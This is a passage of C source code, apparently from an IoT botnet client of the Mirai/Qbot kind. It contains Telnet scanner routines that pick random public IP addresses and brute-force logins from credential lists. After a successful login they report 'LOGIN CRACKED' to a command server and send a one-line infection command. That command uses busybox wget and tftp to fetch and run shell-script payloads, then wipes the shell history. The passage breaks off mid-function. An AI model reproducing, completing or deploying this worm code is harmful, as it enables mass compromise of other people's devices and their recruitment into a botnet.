  727.                 t += letbase - '0' - 10;
  728.                 *--s = t + '0';
  729.                 u /= b;
  730.         }
  731.         if (neg) {
  732.                 if( width && (pad & PAD_ZERO) ) {
  733.                         printchar (out, '-');
  734.                         ++pc;
  735.                         --width;
  736.                 }
  737.                 else {
  738.                         *--s = '-';
  739.                 }
  740.         }
  741.  
  742.         return pc + prints (out, s, width, pad);
  743. }
  744. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  745.         register int width, pad;
  746.         register int pc = 0;
  747.         unsigned char scr[2];
  748.         for (; *format != 0; ++format) {
  749.                 if (*format == '%') {
  750.                         ++format;
  751.                         width = pad = 0;
  752.                         if (*format == '\0') break;
  753.                         if (*format == '%') goto out;
  754.                         if (*format == '-') {
  755.                                 ++format;
  756.                                 pad = PAD_RIGHT;
  757.                         }
  758.                         while (*format == '0') {
  759.                                 ++format;
  760.                                 pad |= PAD_ZERO;
  761.                         }
  762.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  763.                                 width *= 10;
  764.                                 width += *format - '0';
  765.                         }
  766.                         if( *format == 's' ) {
  767.                                 register char *s = (char *)va_arg( args, int );
  768.                                 pc += prints (out, s?s:"(null)", width, pad);
  769.                                 continue;
  770.                         }
  771.                         if( *format == 'd' ) {
  772.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  773.                                 continue;
  774.                         }
  775.                         if( *format == 'x' ) {
  776.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  777.                                 continue;
  778.                         }
  779.                         if( *format == 'X' ) {
  780.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  781.                                 continue;
  782.                         }
  783.                         if( *format == 'u' ) {
  784.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  785.                                 continue;
  786.                         }
  787.                         if( *format == 'c' ) {
  788.                                 scr[0] = (unsigned char)va_arg( args, int );
  789.                                 scr[1] = '\0';
  790.                                 pc += prints (out, scr, width, pad);
  791.                                 continue;
  792.                         }
  793.                 }
  794.                 else {
  795. out:
  796.                         printchar (out, *format);
  797.                         ++pc;
  798.                 }
  799.         }
  800.         if (out) **out = '\0';
  801.         va_end( args );
  802.         return pc;
  803. }
  804. int zprintf(const unsigned char *format, ...) {
  805.         va_list args;
  806.         va_start( args, format );
  807.         return print( 0, format, args );
  808. }
  809. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  810.         va_list args;
  811.         va_start( args, format );
  812.         return print( &out, format, args );
  813. }
  814. int sockprintf(int sock, char *formatStr, ...) {
  815.         unsigned char *textBuffer = malloc(2048);
  816.         memset(textBuffer, 0, 2048);
  817.         char *orig = textBuffer;
  818.         va_list args;
  819.         va_start(args, formatStr);
  820.         print(&textBuffer, formatStr, args);
  821.         va_end(args);
  822.         orig[strlen(orig)] = '\n';
  823.         zprintf("%s\n", orig);
  824.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  825.         free(orig);
  826.         return q;
  827. }
  828. int wildString(const unsigned char* pattern, const unsigned char* string) {
  829.         switch(*pattern) {
  830.         case '\0': return *string;
  831.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  832.         case '?': return !(*string && !wildString(pattern+1, string+1));
  833.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  834.         }
  835. }
  836. int getHost(unsigned char *toGet, struct in_addr *i) {
  837.         struct hostent *h;
  838.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  839.         return 0;
  840. }
  841. void makeRandomStr(unsigned char *buf, int length) {
  842.         int i = 0;
  843.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  844. }
  845. int recvLine(int socket, unsigned char *buf, int bufsize) {
  846.         memset(buf, 0, bufsize);
  847.         fd_set myset;
  848.         struct timeval tv;
  849.         tv.tv_sec = 30;
  850.         tv.tv_usec = 0;
  851.         FD_ZERO(&myset);
  852.         FD_SET(socket, &myset);
  853.         int selectRtn, retryCount;
  854.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  855.                 while(retryCount < 10) {
  856.                         tv.tv_sec = 30;
  857.                         tv.tv_usec = 0;
  858.                         FD_ZERO(&myset);
  859.                         FD_SET(socket, &myset);
  860.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  861.                                 retryCount++;
  862.                                 continue;
  863.                         }
  864.                         break;
  865.                 }
  866.         }
  867.         unsigned char tmpchr;
  868.         unsigned char *cp;
  869.         int count = 0;
  870.         cp = buf;
  871.         while(bufsize-- > 1) {
  872.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  873.                         *cp = 0x00;
  874.                         return -1;
  875.                 }
  876.                 *cp++ = tmpchr;
  877.                 if(tmpchr == '\n') break;
  878.                 count++;
  879.         }
  880.         *cp = 0x00;
  881.         return count;
  882. }
  883. int connectTimeout(int fd, char *host, int port, int timeout) {
  884.         struct sockaddr_in dest_addr;
  885.         fd_set myset;
  886.         struct timeval tv;
  887.         socklen_t lon;
  888.         int valopt;
  889.         long arg = fcntl(fd, F_GETFL, NULL);
  890.         arg |= O_NONBLOCK;
  891.         fcntl(fd, F_SETFL, arg);
  892.         dest_addr.sin_family = AF_INET;
  893.         dest_addr.sin_port = htons(port);
  894.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  895.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  896.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  897.         if (res < 0) {
  898.                 if (errno == EINPROGRESS) {
  899.                         tv.tv_sec = timeout;
  900.                         tv.tv_usec = 0;
  901.                         FD_ZERO(&myset);
  902.                         FD_SET(fd, &myset);
  903.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  904.                                 lon = sizeof(int);
  905.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  906.                                 if (valopt) return 0;
  907.                         }
  908.                         else return 0;
  909.                 }
  910.                 else return 0;
  911.         }
  912.         arg = fcntl(fd, F_GETFL, NULL);
  913.         arg &= (~O_NONBLOCK);
  914.         fcntl(fd, F_SETFL, arg);
  915.         return 1;
  916. }
  917. int listFork() {
  918.         uint32_t parent, *newpids, i;
  919.         parent = fork();
  920.         if (parent <= 0) return parent;
  921.         numpids++;
  922.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  923.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  924.         newpids[numpids - 1] = parent;
  925.         free(pids);
  926.         pids = newpids;
  927.         return parent;
  928. }
  929. int negotiate(int sock, unsigned char *buf, int len) {
  930.         unsigned char c;
  931.         switch (buf[1]) {
  932.         case CMD_IAC: return 0;
  933.         case CMD_WILL:
  934.         case CMD_WONT:
  935.         case CMD_DO:
  936.         case CMD_DONT:
  937.                 c = CMD_IAC;
  938.                 send(sock, &c, 1, MSG_NOSIGNAL);
  939.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  940.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  941.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  942.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  943.                 send(sock, &c, 1, MSG_NOSIGNAL);
  944.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  945.                 break;
  946.         default:
  947.                 break;
  948.         }
  949.  
  950.         return 0;
  951. }
  952. int matchPrompt(char *bufStr) {
  953.         char *prompts = ":>%$#\0";
  954.         int bufLen = strlen(bufStr);
  955.         int i, q = 0;
  956.         for(i = 0; i < strlen(prompts); i++) {
  957.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  958.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  959.         }
  960.         return 0;
  961. }
  962. in_addr_t getRandomPublicIP() {
  963.         static uint8_t ipState[4] = {0};
  964.         ipState[0] = rand() % 223;
  965.         ipState[1] = rand() % 255;
  966.         ipState[2] = rand() % 255;
  967.         ipState[3] = rand() % 255;
  968.         while(
  969.                 (ipState[0] == 0) ||
  970.                 (ipState[0] == 10) ||
  971.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  972.                 (ipState[0] == 127) ||
  973.                 (ipState[0] == 169 && ipState[1] == 254) ||
  974.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  975.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  976.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  977.                 (ipState[0] == 192 && ipState[1] == 168) ||
  978.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  979.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  980.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  981.                 (ipState[0] >= 224)
  982.         )
  983.         {
  984.                 ipState[0] = rand() % 223;
  985.                 ipState[1] = rand() % 255;
  986.                 ipState[2] = rand() % 255;
  987.                 ipState[3] = rand() % 255;
  988.         }
  989.         char ip[16] = {0};
  990.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  991.         return inet_addr(ip);
  992. }
  993.  
  994. in_addr_t MiraiIPRanges()
  995. {
  996.         static uint8_t ipState[4] = {0};
  997.         ipState[0] = rand() % 223;
  998.         ipState[1] = rand() % 255;
  999.         ipState[2] = rand() % 255;
  1000.         ipState[3] = rand() % 255;
  1001.         while(
  1002.                 (ipState[0] == 127) ||                                         // 127.0.0.0/8      - Loopback
  1003.                 (ipState[0] == 0) ||                                           // 0.0.0.0/8        - Invalid address space
  1004.                 (ipState[0] == 3) ||                                           // 3.0.0.0/8        - General Electric Company
  1005.                 (ipState[0] == 15 || ipState[0] == 16) ||                      // 15.0.0.0/7       - Hewlett-Packard Company
  1006.                 (ipState[0] == 56) ||                                          // 56.0.0.0/8       - US Postal Service
  1007.                 (ipState[0] == 10) ||                                          // 10.0.0.0/8       - Internal network
  1008.                 (ipState[0] == 192 && ipState[1] == 168) ||                    // 192.168.0.0/16   - Internal network
  1009.                 (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) ||  // 172.16.0.0/14    - Internal network
  1010.                 (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10    - IANA NAT reserved
  1011.                 (ipState[0] == 169 && ipState[1] > 254) ||                     // 169.254.0.0/16   - IANA NAT reserved
  1012.                 (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) ||  // 198.18.0.0/15    - IANA Special use
  1013.                 (ipState[0] == 224) ||                                         // 224.*.*.*+       - Multicast
  1014.                 (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)
  1015.         )
  1016.         {
  1017.                 ipState[0] = rand() % 223;
  1018.                 ipState[1] = rand() % 255;
  1019.                 ipState[2] = rand() % 255;
  1020.                 ipState[3] = rand() % 255;
  1021.         }
  1022.         char ip[16] = {0};
  1023.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1024.         return inet_addr(ip);
  1025. }
  1026.  
  1027. in_addr_t getRandomIP(in_addr_t netmask) {
  1028.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1029.         return tmp ^ ( rand_cmwc() & ~netmask);
  1030. }
  1031. unsigned short csum (unsigned short *buf, int count) {
  1032.         register uint64_t sum = 0;
  1033.         while( count > 1 ) { sum += *buf++; count -= 2; }
  1034.         if(count > 0) { sum += *(unsigned char *)buf; }
  1035.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1036.         return (uint16_t)(~sum);
  1037. }
  1038. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  1039.         struct tcp_pseudo {
  1040.                 unsigned long src_addr;
  1041.                 unsigned long dst_addr;
  1042.                 unsigned char zero;
  1043.                 unsigned char proto;
  1044.                 unsigned short length;
  1045.         } pseudohead;
  1046.         unsigned short total_len = iph->tot_len;
  1047.         pseudohead.src_addr=iph->saddr;
  1048.         pseudohead.dst_addr=iph->daddr;
  1049.         pseudohead.zero=0;
  1050.         pseudohead.proto=IPPROTO_TCP;
  1051.         pseudohead.length=htons(sizeof(struct tcphdr));
  1052.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1053.         unsigned short *tcp = malloc(totaltcp_len);
  1054.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1055.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1056.         unsigned short output = csum(tcp,totaltcp_len);
  1057.         free(tcp);
  1058.         return output;
  1059. }
  1060. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  1061.         iph->ihl = 5;
  1062.         iph->version = 4;
  1063.         iph->tos = 0;
  1064.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  1065.         iph->id = rand_cmwc();
  1066.         iph->frag_off = 0;
  1067.         iph->ttl = MAXTTL;
  1068.         iph->protocol = protocol;
  1069.         iph->check = 0;
  1070.         iph->saddr = source;
  1071.         iph->daddr = dest;
  1072. }
  1073. int sclose(int fd) {
  1074.         if(3 > fd) return 1;
  1075.         close(fd);
  1076.         return 0;
  1077. }
  1078. void TelnetScanner(int wait_usec, int maxfds)
  1079. {
  1080.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  1081.        
  1082.         char buf[128], cur_dir;
  1083.         if (max > maxfds)
  1084.                 max = maxfds;
  1085.         fd_set fdset;
  1086.         struct timeval tv;
  1087.         socklen_t lon;
  1088.         int valopt;
  1089.        
  1090.        
  1091.        
  1092.         char line[256];
  1093.         char* buffer;
  1094.         struct sockaddr_in dest_addr;
  1095.         dest_addr.sin_family = AF_INET;
  1096.         dest_addr.sin_port = htons(23);
  1097.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1098.        
  1099.         buffer = malloc(SOCKBUF_SIZE + 1);
  1100.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  1101.        
  1102.         struct telstate_t fds[max];
  1103.        
  1104.         memset(fds, 0, max * (sizeof(int) + 1));
  1105.         for(i = 0; i < max; i++)
  1106.         {
  1107.             memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1108.             fds[i].complete = 1;
  1109.             fds[i].sockbuf = buffer;
  1110.         }
  1111.         while(1) {
  1112.                 for(i = 0; i < max; i++) {
  1113.                         if(fds[i].tTimeout == 0) {
  1114.                                 fds[i].tTimeout = time(NULL);
  1115.                         }
  1116.                         switch(fds[i].state) {
  1117.             case 0:
  1118.                 {
  1119.                     if(fds[i].complete == 1)
  1120.                     {
  1121.                         char *tmp = fds[i].sockbuf;
  1122.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1123.                         fds[i].sockbuf = tmp;
  1124.                                    
  1125.                         fds[i].ip = getRandomPublicIP();
  1126.                     }
  1127.                     else if(fds[i].complete == 0)
  1128.                     {
  1129.                         fds[i].usernameInd++;
  1130.                         fds[i].passwordInd++;
  1131.                                    
  1132.                         if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *))
  1133.                         {
  1134.                             fds[i].complete = 1;
  1135.                             continue;
  1136.                         }
  1137.                         if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *))
  1138.                         {
  1139.                             fds[i].complete = 1;
  1140.                             continue;
  1141.                         }
  1142.                     }
  1143.                                
  1144.                     dest_addr.sin_family = AF_INET;
  1145.                     dest_addr.sin_port = htons(23);
  1146.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1147.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  1148.                                
  1149.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1150.                                
  1151.                     if(fds[i].fd == -1) continue;
  1152.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1153.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1154.                     {
  1155.                         reset_telstate(&fds[i]);
  1156.                     }
  1157.                     else
  1158.                     {
  1159.                         advance_telstate(&fds[i], 1);
  1160.                     }
  1161.                 }
  1162.                 break;
  1163.                
  1164.             case 1:
  1165.                 {
  1166.                     FD_ZERO(&fdset);
  1167.                     FD_SET(fds[i].fd, &fdset);
  1168.                     tv.tv_sec = 0;
  1169.                     tv.tv_usec = wait_usec;
  1170.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1171.                    
  1172.                     if(res == 1) {
  1173.                         fds[i].tTimeout = 0;
  1174.                         lon = sizeof(int);
  1175.                         valopt = 0;
  1176.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1177.                         if(valopt)
  1178.                         {
  1179.                             reset_telstate(&fds[i]);
  1180.                         }
  1181.                         else
  1182.                         {
  1183.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1184.                             advance_telstate(&fds[i], 2);
  1185.                         }
  1186.                         continue;
  1187.                     }
  1188.                     else if(res == -1)
  1189.                     {
  1190.                         reset_telstate(&fds[i]);
  1191.                         continue;
  1192.                     }
  1193.                     if(fds[i].tTimeout + 7 < time(NULL))
  1194.                     {
  1195.                         reset_telstate(&fds[i]);
  1196.                     }
  1197.                 }
  1198.                 break;
  1199.             case 2:
  1200.                 {
  1201.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1202.                     {
  1203.                         fds[i].tTimeout = time(NULL);
  1204.                         if(contains_fail(fds[i].sockbuf))
  1205.                         {
  1206.                             advance_telstate(&fds[i], 0);
  1207.                         }
  1208.                         else
  1209.                         {
  1210.                             advance_telstate(&fds[i], 3);
  1211.                         }
  1212.                         continue;
  1213.                     }
  1214.                     if(fds[i].tTimeout + 7 < time(NULL))
  1215.                     {
  1216.                         reset_telstate(&fds[i]);
  1217.                     }
  1218.                 }
  1219.                 break;
  1220.             case 3:
  1221.                 {
  1222.                     if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1223.                     {
  1224.                         reset_telstate(&fds[i]);
  1225.                         continue;
  1226.                     }
  1227.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1228.                     {
  1229.                         reset_telstate(&fds[i]);
  1230.                         continue;
  1231.                     }
  1232.                     advance_telstate(&fds[i], 4);
  1233.                 }
  1234.                 break;
  1235.             case 4:
  1236.                 {
  1237.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1238.                     {
  1239.                         fds[i].tTimeout = time(NULL);
  1240.                         if(contains_fail(fds[i].sockbuf))
  1241.                         {
  1242.                             advance_telstate(&fds[i], 0);
  1243.                         }
  1244.                         else
  1245.                         {
  1246.                             advance_telstate(&fds[i], 5);
  1247.                         }
  1248.                         continue;
  1249.                     }
  1250.                     if(fds[i].tTimeout + 7 < time(NULL))
  1251.                     {
  1252.                         reset_telstate(&fds[i]);
  1253.                     }
  1254.                 }
  1255.                 break;                             
  1256.             case 5:
  1257.                 {
  1258.                     if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1259.                     {
  1260.                         reset_telstate(&fds[i]);
  1261.                         continue;
  1262.                     }
  1263.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1264.                     {
  1265.                         reset_telstate(&fds[i]);
  1266.                         continue;
  1267.                     }
  1268.                     advance_telstate(&fds[i], 6);
  1269.                 }
  1270.                 break;                                 
  1271.             case 6:
  1272.                 {
  1273.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  1274.                     {
  1275.                         fds[i].tTimeout = time(NULL);
  1276.                        
  1277.                         if(contains_fail(fds[i].sockbuf))
  1278.                         {
  1279.                             advance_telstate(&fds[i], 0);
  1280.                         }
  1281.                         else if(contains_success(fds[i].sockbuf))
  1282.                         {
  1283.                             if(fds[i].complete == 2)
  1284.                             {
  1285.                                 advance_telstate(&fds[i], 7);
  1286.                             }
  1287.                             else
  1288.                             {
  1289.                                 sockprintf(mainCommSock, "[TELNET] [+] LOGIN CRACKED ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1290.                                 advance_telstate(&fds[i], 7);
  1291.                             }
  1292.                         }
  1293.                         else
  1294.                         {
  1295.                             reset_telstate(&fds[i]);
  1296.                         }
  1297.                         continue;
  1298.                     }
  1299.                     if(fds[i].tTimeout + 7 < time(NULL))
  1300.                     {
  1301.                         reset_telstate(&fds[i]);
  1302.                     }
  1303.                 }
  1304.                 break;
  1305.             case 7:
  1306.                 {
  1307.                         fds[i].tTimeout = time(NULL);
  1308.                        
  1309.                         if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/ || /var/run/ || /var/system/ || /mnt/ || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;busybox wget 0.0.0.0/bins.sh;chmod 777;sh bins.sh;busybox tftp -g 0.0.0.0 -r tftp1.sh;chmod 777 *;sh tftp1.sh;busybox tftp -g 0.0.0.0 -r tftp2.sh;chmod 777 *;sh tftp2.sh;rm -rf *sh;history -c;history -w;rm -rf ~/.bash_history\r\n", 407, MSG_NOSIGNAL) < 0)
  1310.                         {
  1311.                             sockprintf(mainCommSock, "[TELNET] [+] SUCCESSFUL INFECTION ---> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1312.                             reset_telstate(&fds[i]);
  1313.                             continue;
  1314.                         }
  1315.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "REBIRTH"))
  1316.                         {
  1317.                        
  1318.                             if(strcasestr(fds[i].sockbuf, "REBIRTH") && fds[i].complete != 3)
  1319.                             {
  1320.                                 sockprintf(mainCommSock, "[TELNET] [+] PAYLOAD SENT ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1321.                                 fds[i].complete = 3;
  1322.                             }
  1323.                         }
  1324.                         if(fds[i].tTimeout + 45 < time(NULL))
  1325.                         {
  1326.                             if(fds[i].complete!=3)
  1327.                             {
  1328.                                 sockprintf(mainCommSock, "[TELNET] [-] FAILED INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1329.                             }
  1330.                             reset_telstate(&fds[i]);
  1331.                         }
  1332.                 break;
  1333.                 }
  1334.             }
  1335.         }
  1336.     }              
  1337. }
  1338.  
  1339. void MiraiScanner(int wait_usec, int maxfds)
  1340. {
  1341.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  1342.         char buf[128], cur_dir;
  1343.         if (max > maxfds)
  1344.                 max = maxfds;
  1345.         fd_set fdset;
  1346.         struct timeval tv;
  1347.         socklen_t lon;
  1348.         int valopt;
  1349.         char line[256];
  1350.         char* buffer;
  1351.         struct sockaddr_in dest_addr;
  1352.         dest_addr.sin_family = AF_INET;
  1353.         dest_addr.sin_port = htons(23);
  1354.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1355.         buffer = malloc(SOCKBUF_SIZE + 1);
  1356.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  1357.         struct telstate_t fds[max];
  1358.         memset(fds, 0, max * (sizeof(int) + 1));
  1359.         for(i = 0; i < max; i++) {
  1360.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1361.                 fds[i].complete = 1;
  1362.                 fds[i].sockbuf = buffer;
  1363.         }
  1364.         while(1) {
  1365.                 for(i = 0; i < max; i++) {
  1366.                         if(fds[i].tTimeout == 0) {
  1367.                                 fds[i].tTimeout = time(NULL);
  1368.                         }
  1369.                         switch(fds[i].state) {
  1370.             case 0:
  1371.                 {
  1372.                     if(fds[i].complete == 1)
  1373.                     {
  1374.                                    
  1375.                         char *tmp = fds[i].sockbuf;
  1376.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1377.                         fds[i].sockbuf = tmp;
  1378.                                    
  1379.                                    
  1380.                         fds[i].ip = MiraiIPRanges();
  1381.                     }
  1382.                     else if(fds[i].complete == 0)
  1383.                     {
  1384.                         fds[i].usernameInd++;
  1385.                         fds[i].passwordInd++;
  1386.                                    
  1387.                         if(fds[i].passwordInd == sizeof(Mirai_Passwords) / sizeof(char *))
  1388.                         {
  1389.                             fds[i].complete = 1;
  1390.                         }
  1391.                         if(fds[i].usernameInd == sizeof(Mirai_Usernames) / sizeof(char *))
  1392.                         {
  1393.                             fds[i].complete = 1;
  1394.                             continue;
  1395.                         }
  1396.                     }
  1397.                     dest_addr.sin_family = AF_INET;
  1398.                     dest_addr.sin_port = htons(23);
  1399.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1400.                            
  1401.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  1402.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1403.                     if(fds[i].fd == -1) continue;
  1404.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1405.                                
  1406.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1407.                     {
  1408.                         reset_telstate(&fds[i]);
  1409.                     }
  1410.                     else
  1411.                     {
  1412.                         advance_telstate(&fds[i], 1);
  1413.                     }
  1414.                 }
  1415.                 break;
  1416.             case 1:
  1417.                 {
  1418.                     FD_ZERO(&fdset);
  1419.                     FD_SET(fds[i].fd, &fdset);
  1420.                     tv.tv_sec = 0;
  1421.                     tv.tv_usec = wait_usec;
  1422.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1423.                     if(res == 1)
  1424.                     {
  1425.                         fds[i].tTimeout = time(NULL);
  1426.                         lon = sizeof(int);
  1427.                         valopt = 0;
  1428.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1429.                         if(valopt)
  1430.                         {
  1431.                             reset_telstate(&fds[i]);
  1432.                         }
  1433.                         else
  1434.                         {
  1435.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1436.                             advance_telstate(&fds[i], 2);
  1437.                         }
  1438.                         continue;
  1439.                     }
  1440.                     else if(res == -1)
  1441.                     {
  1442.                         reset_telstate(&fds[i]);
  1443.                         continue;
  1444.                     }
  1445.                     if(fds[i].tTimeout + 7 < time(NULL))
  1446.                     {
  1447.                         reset_telstate(&fds[i]);
  1448.                     }
  1449.                 }
  1450.                 break;
  1451.             case 2:
  1452.                 {
  1453.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1454.                     {
  1455.                         fds[i].tTimeout = time(NULL);
  1456.                         if(contains_fail(fds[i].sockbuf))
  1457.                         {
  1458.                             advance_telstate(&fds[i], 0);
  1459.                         }
  1460.                         else
  1461.                         {
  1462.                             advance_telstate(&fds[i], 3);
  1463.                         }
  1464.                         continue;
  1465.                     }
  1466.                     if(fds[i].tTimeout + 7 < time(NULL))
  1467.                     {
  1468.                         reset_telstate(&fds[i]);
  1469.                     }
  1470.                 }
  1471.                 break;
  1472.             case 3:
  1473.                 {
  1474.                     if(send(fds[i].fd, Mirai_Usernames[fds[i].usernameInd], strlen(Mirai_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1475.                     {
  1476.                         reset_telstate(&fds[i]);
  1477.                         continue;
  1478.                     }
  1479.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1480.                     {
  1481.                         reset_telstate(&fds[i]);
  1482.                         continue;
  1483.                     }
  1484.                     advance_telstate(&fds[i], 4);
  1485.                 }
  1486.                 break;
  1487.             case 4:
  1488.                 {
  1489.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1490.                     {
  1491.                         fds[i].tTimeout = time(NULL);
  1492.                         if(contains_fail(fds[i].sockbuf))
  1493.                         {
  1494.                             advance_telstate(&fds[i], 0);
  1495.                         }
  1496.                         else
  1497.                         {
  1498.                             advance_telstate(&fds[i], 5);
  1499.                         }
  1500.                         continue;
  1501.                     }
  1502.                     if(fds[i].tTimeout + 7 < time(NULL))
  1503.                     {
  1504.                         reset_telstate(&fds[i]);
  1505.                     }
  1506.                 }
  1507.                 break;                             
  1508.             case 5:
  1509.                 {
